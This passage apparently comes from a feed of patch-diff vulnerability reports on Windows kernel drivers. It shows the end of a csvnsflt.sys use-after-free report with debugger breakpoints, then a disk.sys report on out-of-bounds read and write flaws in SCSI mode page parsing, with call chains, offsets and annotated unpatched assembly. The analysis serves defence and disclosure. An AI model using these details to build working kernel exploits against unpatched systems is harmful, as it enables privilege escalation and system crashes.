&lt;/ul&gt;
&lt;h2&gt;7. Debugger Playbook&lt;/h2&gt;
&lt;p&gt;This section lists real instruction addresses in the unpatched binary for observing the race. Assume the analysis image base &lt;code&gt;0x1C0000000&lt;/code&gt;; adjust for the runtime load base.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csvnsflt_unpatched!NfltMessage                 ; 0x1C0005F60 — message dispatch entry
bp csvnsflt_unpatched!CsvCamSetSecurityInfo       ; 0x1C0013304 — function entry
bp 0x1C0013332                                    ; region 1: unlocked capture of EncryptionManager
bp 0x1C0013341                                    ; region 1: first deref of the captured pointer
bp 0x1C0013401                                    ; exclusive-lock free of the old EncryptionManager
bp 0x1C001361A                                    ; region 2: unlocked read of ReplayCacheManagerObject
bp 0x1C001359F                                    ; exclusive-lock free of the old ReplayCacheManagerObject
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;NfltMessage&lt;/code&gt; (&lt;code&gt;0x1C0005F60&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;rdx&lt;/code&gt; points to the user message; after the internal &lt;code&gt;memmove&lt;/code&gt; copy, the first DWORD selects the opcode. Confirm opcode &lt;code&gt;6&lt;/code&gt; routes to &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0013332&lt;/code&gt; (region-1 capture):&lt;/strong&gt; &lt;code&gt;rdx&lt;/code&gt; receives the current &lt;code&gt;EncryptionManager&lt;/code&gt; value with no lock held. Set a write breakpoint on the &lt;code&gt;EncryptionManager&lt;/code&gt; global to observe when a concurrent thread replaces it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0013401&lt;/code&gt; (free):&lt;/strong&gt; &lt;code&gt;rcx&lt;/code&gt; holds the object being freed. If it equals the value captured at &lt;code&gt;0x1C0013332&lt;/code&gt; in the racing thread, the region-1 use-after-free is imminent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C0013341&lt;/code&gt; (deref):&lt;/strong&gt; A fault here on a freed/unmapped page confirms the region-1 use-after-free fired.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;0x1C001361A&lt;/code&gt; / &lt;code&gt;0x1C001363F&lt;/code&gt; (region 2):&lt;/strong&gt; Observe the unlocked read and the &lt;code&gt;xchg&lt;/code&gt;/&lt;code&gt;lock cmpxchg&lt;/code&gt; writes; racing the free at &lt;code&gt;0x1C001359F&lt;/code&gt; corrupts freed pool.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Struct &amp;amp; Offset Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Message layout:&lt;/strong&gt; &lt;code&gt;[+0x0] opcode&lt;/code&gt; (&lt;code&gt;6&lt;/code&gt;); the struct at &lt;code&gt;+0x4&lt;/code&gt; is passed to &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt; as &lt;code&gt;arg1&lt;/code&gt;, with &lt;code&gt;arg1[2]&lt;/code&gt; (&lt;code&gt;+0x8&lt;/code&gt;) the size and &lt;code&gt;arg1[3]&lt;/code&gt; (&lt;code&gt;+0xC&lt;/code&gt;) the compared bytes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Encryption&lt;/code&gt; object:&lt;/strong&gt; &lt;code&gt;+0x20&lt;/code&gt; is the size compared against the user size; &lt;code&gt;+0x18&lt;/code&gt; is the buffer pointer passed to &lt;code&gt;memcmp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ReplayCacheManager&lt;/code&gt; object:&lt;/strong&gt; &lt;code&gt;+0x18&lt;/code&gt; and &lt;code&gt;+0x20&lt;/code&gt; are the sequence-number fields updated by the interlocked operations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CsvCamSetSecurityInfo @ 0x1C0013304&lt;/code&gt;&lt;/strong&gt; (Similarity: 0.9045 | Change Type: Security Relevant)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Changes:&lt;/strong&gt; Added &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; + &lt;code&gt;ExAcquireResourceSharedLite(SigningLock)&lt;/code&gt; ... &lt;code&gt;ExReleaseResourceLite&lt;/code&gt; + &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt; around the &lt;code&gt;EncryptionManager&lt;/code&gt; read/compare region (previously fully unlocked) and around the &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; sequence-number update loop (previously fully unlocked). The exclusive-lock free/replace paths were already locked in the unpatched build; the change closes the reader side of the lock imbalance. The remaining differences are register-allocation shifts caused by the added blocks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; None.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; None.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High that the change is a genuine synchronization fix. The unpatched build clearly reads and updates &lt;code&gt;EncryptionManager&lt;/code&gt; and &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; without holding &lt;code&gt;SigningLock&lt;/code&gt;, while the free/replace paths hold it exclusive; the patched build adds a matching shared lock around both regions. Direction is correct (patched is stricter).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What is demonstrated:&lt;/strong&gt; A reachable kernel use-after-free (stale read of a freed &lt;code&gt;Encryption&lt;/code&gt; object and stale interlocked writes into a freed &lt;code&gt;ReplayCacheManager&lt;/code&gt; object) driven by racing concurrent port messages.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What is not demonstrated:&lt;/strong&gt; A full privilege-escalation chain. The region-1 &lt;code&gt;memcmp&lt;/code&gt; result is only a boolean and is not an information-leak channel. Converting the use-after-free into controlled memory corruption would require reclaiming the freed pool with attacker-controlled contents inside the race window, which is not established from the static diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;To verify on a live target:&lt;/strong&gt; the communication port name and its security descriptor (who may send messages), the exact object sizes for pool reclaim, and the presence of the driver on the target (Cluster Shared Volumes nodes).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>disk.sys — Out-of-bounds read (CWE-125) and out-of-bounds write (CWE-787) in SCSI mode page parsing fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/disk_8a0ef556-disk-report-20260628-215935.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/disk_8a0ef556-disk-report-20260628-215935.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;disk_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;disk_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9074&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;140&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;65&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;69&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched → unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds the same missing bounds check in two SCSI mode page 8 (Caching Mode Page) routines that share the exact same parsing prologue. In the read path (&lt;code&gt;DiskGetCacheInformation&lt;/code&gt;) it closes a medium-severity out-of-bounds read that can disclose a small amount of adjacent kernel pool memory to user mode or fault the system. In the write path (&lt;code&gt;DiskSetCacheInformation&lt;/code&gt;) it closes a high-severity out-of-bounds &lt;strong&gt;write&lt;/strong&gt; of caller-supplied cache fields into non-paged pool past the located mode page descriptor. Both are triggerable via a malformed storage-device MODE SENSE response; the write path additionally requires the caller to issue &lt;code&gt;IOCTL_DISK_SET_CACHE_INFORMATION&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Out-of-Bounds Read in Mode Page 8 Parser&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-125 — Out-of-bounds read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DiskGetCacheInformation&lt;/code&gt; (unpatched &lt;code&gt;0x1C000CBF0&lt;/code&gt;, patched &lt;code&gt;0x1C000DBA4&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOCTL_DISK_GET_CACHE_INFORMATION (0x740D4)&lt;/code&gt; via &lt;code&gt;DeviceIoControl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bounded kernel pool memory disclosure / potential fault (DoS)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;DiskGetCacheInformation&lt;/code&gt; allocates a 0xC0-byte &lt;code&gt;NonPagedPoolNxCacheAligned&lt;/code&gt; buffer (tag &lt;code&gt;ScDC&lt;/code&gt;), zeroes it with &lt;code&gt;memset&lt;/code&gt;, fills the first &lt;code&gt;data_length&lt;/code&gt; bytes with &lt;code&gt;ClassModeSense&lt;/code&gt; (page code 8, caching), and calls &lt;code&gt;ClassFindModePage&lt;/code&gt; to locate the Caching Mode Page descriptor inside the buffer. The search length passed to &lt;code&gt;ClassFindModePage&lt;/code&gt; is the device-derived value &lt;code&gt;min(data_length, buffer[0]+1)&lt;/code&gt;, so the returned descriptor pointer can legitimately land near the end of the transferred data. The unpatched code performs &lt;strong&gt;only a NULL check&lt;/strong&gt; on that pointer and then unconditionally reads bytes at offsets &lt;code&gt;+0x0&lt;/code&gt;, &lt;code&gt;+0x2&lt;/code&gt;..&lt;code&gt;+0x9&lt;/code&gt;, and conditionally &lt;code&gt;+0xA&lt;/code&gt;/&lt;code&gt;+0xB&lt;/code&gt; (a fixed window spanning 12 bytes, &lt;code&gt;+0x0&lt;/code&gt; through &lt;code&gt;+0xB&lt;/code&gt;) to populate a &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt; structure. If the device returns a truncated MODE SENSE response where the mode page 8 descriptor sits near the tail of the buffer with fewer than 12 bytes remaining, those reads walk past the valid data. Because the allocation is zero-initialized, reads that stay within the 0xC0-byte block return zeroes; only reads that cross the end of the allocation (descriptor pointer within ~11 bytes of &lt;code&gt;P+0xC0&lt;/code&gt;) reach adjacent pool contents. The captured bytes are copied into the IOCTL output buffer and returned to the caller.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it matters.&lt;/strong&gt; The over-read data flows directly back to user mode via the IOCTL output buffer. A controlled or malicious storage device (USB gadget, iSCSI LUN, virtual disk) that positions the mode page 8 descriptor near the tail of a full-length response can disclose up to ~11 bytes of adjacent non-paged pool through the returned cache fields. If the over-read reaches an unmapped page, the read faults and the system bugchecks (DoS).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does.&lt;/strong&gt; Inserts a single bounds check immediately after &lt;code&gt;ClassFindModePage&lt;/code&gt; returns:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;if (mode_page_ptr + 0xC &amp;gt; buffer_start + search_len) {   // search_len = min(data_length, buffer[0]+1)
    status = STATUS_UNSUCCESSFUL (0xC0000001);
    goto error;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This guarantees the full 12-byte field window lies within the region that was populated and searched before any field access.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (attacker → flaw):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode process opens a handle to a disk device (&lt;code&gt;\\.\PhysicalDriveN&lt;/code&gt;, volume, or the malicious device itself).&lt;/li&gt;
&lt;li&gt;Issues &lt;code&gt;DeviceIoControl(IOCTL_DISK_GET_CACHE_INFORMATION = 0x740D4)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;disk!ClassDeviceControl&lt;/code&gt; dispatch at &lt;code&gt;DiskDeviceControl (sub_1c0001770)&lt;/code&gt; routes to the cache info handler &lt;code&gt;DiskIoctlGetCacheInformation (sub_1c000bd50)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Handler calls &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;DiskGetCacheInformation (sub_1c000cbf0)&lt;/code&gt;: &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;memset&lt;/code&gt; → &lt;code&gt;ClassModeSense&lt;/code&gt; → &lt;code&gt;ClassFindModePage&lt;/code&gt; → &lt;strong&gt;OOB reads at offsets +0x0…+0xB&lt;/strong&gt; → data copied to output struct → returned via IRP completion.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Alternate reach:&lt;/strong&gt; The same parser is invoked from &lt;code&gt;DiskStartFdo (sub_1c000ca00)&lt;/code&gt; and &lt;code&gt;DisableWriteCache (sub_1c000eca0)&lt;/code&gt;. These are device start/enumeration-time paths, so a malicious device can reach the parser during start without a user-mode IOCTL.&lt;/p&gt;
&lt;h3&gt;Finding 2 — Hardening: IOCTL Rejection on Uninitialized Device State&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low (defense-in-depth)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;State/initialization hardening&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DiskDeviceControl&lt;/code&gt; (unpatched &lt;code&gt;0x1C0001770&lt;/code&gt;, patched &lt;code&gt;0x1C00010C0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Multiple storage IOCTLs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The patch adds an early rejection returning &lt;code&gt;STATUS_NOT_SUPPORTED (0xC00000BB)&lt;/code&gt; for IOCTL codes &lt;code&gt;0x74080&lt;/code&gt;, &lt;code&gt;0x7c088&lt;/code&gt;, &lt;code&gt;0x7c084&lt;/code&gt;, &lt;code&gt;0x4d02c&lt;/code&gt;, &lt;code&gt;0x4d030&lt;/code&gt; when the device sub-object referenced by &lt;code&gt;[dev+0x208]&lt;/code&gt; has its state field at &lt;code&gt;+0x1C&lt;/code&gt; equal to &lt;code&gt;0x11&lt;/code&gt; (patched &lt;code&gt;cmp dword ptr [rax+1Ch], 11h&lt;/code&gt; at &lt;code&gt;0x1C000113F&lt;/code&gt; → dispatch to the reject block at &lt;code&gt;0x1C0002E4C&lt;/code&gt;; no such gate exists in the unpatched build). This blocks processing of those storage IOCTLs while the device is in that state. Not directly exploitable from the diff alone.&lt;/p&gt;
&lt;h3&gt;Finding 3 — Out-of-Bounds Write in Mode Page 8 Writer&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-787 — Out-of-bounds write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DiskSetCacheInformation&lt;/code&gt; (unpatched &lt;code&gt;0x1C0010C48&lt;/code&gt;, patched &lt;code&gt;0x1C001315C&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IOCTL_DISK_SET_CACHE_INFORMATION (0x7C088)&lt;/code&gt; via &lt;code&gt;DeviceIoControl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primitive&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bounded non-paged pool out-of-bounds write of caller-influenced bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;DiskSetCacheInformation&lt;/code&gt; is the write counterpart of &lt;code&gt;DiskGetCacheInformation&lt;/code&gt; and shares the identical parsing prologue: it allocates the same 0xC0-byte &lt;code&gt;NonPagedPoolNxCacheAligned&lt;/code&gt; buffer (tag &lt;code&gt;ScDC&lt;/code&gt;), &lt;code&gt;memset&lt;/code&gt;-zeroes it, calls &lt;code&gt;ClassModeSense&lt;/code&gt; (page code 8, caching) to fill it, then calls &lt;code&gt;ClassFindModePage&lt;/code&gt; with search length &lt;code&gt;min(data_length, buffer[0]+1)&lt;/code&gt; to locate the Caching Mode Page descriptor inside the buffer. Where the read function &lt;em&gt;reads&lt;/em&gt; a fixed 12-byte field window (&lt;code&gt;+0x0&lt;/code&gt;..&lt;code&gt;+0xB&lt;/code&gt;) from the returned descriptor pointer, this function &lt;strong&gt;writes&lt;/strong&gt; that window: it merges the caller-supplied &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt; input (arg2) into the descriptor bytes and hands the result to &lt;code&gt;DiskModeSelect&lt;/code&gt; to push back to the device. The unpatched code performs &lt;strong&gt;only a NULL check&lt;/strong&gt; on the returned pointer (&lt;code&gt;test rax,rax; jnz&lt;/code&gt; at &lt;code&gt;0x1C0010D84&lt;/code&gt;/&lt;code&gt;0x1C0010D87&lt;/code&gt;) and then writes offsets &lt;code&gt;+0x0&lt;/code&gt; (&lt;code&gt;and byte ptr [rax],7Fh&lt;/code&gt;), &lt;code&gt;+0x2&lt;/code&gt;, &lt;code&gt;+0x3&lt;/code&gt;, &lt;code&gt;+0x4&lt;/code&gt;..&lt;code&gt;+0x9&lt;/code&gt;, and conditionally &lt;code&gt;+0xA&lt;/code&gt;/&lt;code&gt;+0xB&lt;/code&gt; — a 12-byte window mirroring the read function's field layout — with no verification that the descriptor plus 12 bytes stays inside the region that was searched. If the device returns a MODE SENSE response where the mode page 8 descriptor sits near the tail of the transferred data with fewer than 12 bytes remaining, these stores walk past the end of the 0xC0-byte allocation into adjacent non-paged pool.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it matters.&lt;/strong&gt; A kernel-mode out-of-bounds write into non-paged pool is materially more dangerous than the read counterpart: the overwritten bytes can corrupt an adjacent pool allocation's header or an adjacent kernel object, which is a well-understood stepping stone toward elevation of privilege, and at minimum causes pool corruption and a bugcheck (DoS). The offset of the write is device-controlled (the malicious device positions the mode page 8 descriptor near the tail of a full-length response) and the written data is partly caller-controlled — the values come from the &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt; structure the IOCTL caller supplies (&lt;code&gt;[rbx+1]&lt;/code&gt;, &lt;code&gt;[rbx+2]&lt;/code&gt;, &lt;code&gt;[rbx+4]&lt;/code&gt;, &lt;code&gt;[rbx+8]&lt;/code&gt;, &lt;code&gt;[rbx+0Ch]..[rbx+15h]&lt;/code&gt;), combined with the existing byte via mask/XOR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does.&lt;/strong&gt; Inserts the identical bounds check the read path received, immediately after the NULL check and before any store:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;if (mode_page_ptr + 0xC &amp;gt; buffer_start + search_len) {   // search_len = min(data_length, buffer[0]+1)
    status = STATUS_UNSUCCESSFUL (0xC0000001);
    goto error;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This guarantees the full 12-byte write window lies within the populated/searched region before any field is written back.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (attacker → flaw):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode process opens a handle to a disk device (&lt;code&gt;\\.\PhysicalDriveN&lt;/code&gt;, a volume, or the malicious device itself).&lt;/li&gt;
&lt;li&gt;Issues &lt;code&gt;DeviceIoControl(IOCTL_DISK_SET_CACHE_INFORMATION = 0x7C088)&lt;/code&gt; with a &lt;code&gt;DISK_CACHE_INFORMATION&lt;/code&gt; input buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiskDeviceControl&lt;/code&gt; (unpatched &lt;code&gt;0x1C0001770&lt;/code&gt;) routes to the set-cache handler &lt;code&gt;DiskIoctlSetCacheInformation (0x1C000F910)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;That handler calls &lt;code&gt;DiskSetCacheInformation (0x1C0010C48)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Inside &lt;code&gt;DiskSetCacheInformation&lt;/code&gt;: &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;memset&lt;/code&gt; → &lt;code&gt;ClassModeSense&lt;/code&gt; → &lt;code&gt;ClassFindModePage&lt;/code&gt; → &lt;strong&gt;OOB writes at offsets +0x0…+0xB&lt;/strong&gt; into the returned descriptor → &lt;code&gt;DiskModeSelect&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Alternate reach:&lt;/strong&gt; &lt;code&gt;DiskSetCacheInformation&lt;/code&gt; is also called from &lt;code&gt;DiskStartFdo (0x1C000CA00)&lt;/code&gt; and &lt;code&gt;DisableWriteCache (0x1C000ECA0)&lt;/code&gt;, both device start/enumeration-time paths, so a malicious device can reach the writer during start.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly (annotated) — &lt;code&gt;DiskSetCacheInformation @ 0x1C0010C48&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- ClassFindModePage returns descriptor pointer ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ClassFindModePage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; CLASSPNP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; rsi = mode_page_ptr&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D84&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D87&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0010D93&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; *** ONLY NULL CHECK ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C00000BBh&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; NULL -&amp;gt; STATUS_DEVICE_DATA_ERROR&lt;/span&gt;
&lt;span class="c1"&gt;;  *** MISSING: mov ecx,search_len; add rax,0Ch; add rcx,P; cmp rax,rcx; jbe safe ***&lt;/span&gt;
&lt;span class="c1"&gt;; --- writes begin, no bounds check ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0010D93&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; *** OOB WRITE +0x0 ***&lt;/span&gt;
